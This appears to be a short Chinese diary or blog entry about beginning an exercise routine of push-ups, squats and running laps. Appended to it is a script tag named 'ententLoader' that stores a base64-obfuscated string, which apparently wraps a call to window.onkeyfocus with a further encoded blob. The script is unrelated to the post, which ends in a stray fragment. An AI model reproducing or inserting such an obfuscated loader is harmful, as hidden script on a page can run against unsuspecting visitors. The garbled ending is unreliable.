今天晚上开始锻炼身体

    肌肉酸痛感终于消失了

    看来有些动作不能乱练

    做了5个俯卧撑就废了

    深蹲10个一组

    还在操场跑了3圈

    主要是出出汗

    而且通过锻炼，可以把自己的精神和自控能力提高一些

    <script id="ententLoader">

    window.fkp = "d2luZG93Lm9ua2V5Zm9jdXMoIkRRQWNwR3VJSTdMb1lYSlNnR3NQZVMxN2R0VUh0MVJoOTh5R1B3ZThaWXBKMDJ1K3ZPbzNpd1FYSjZPdFVFUUpWN01Edks4VWFRRHAvS29hWnF1UUpNdkhEWVlPNmFLQWVhNHRkUURiVFY4qWjZ4Sy9vYTl4a1hiRjZ63IiwgMTYzMjI3OTEyMyk=";

    hai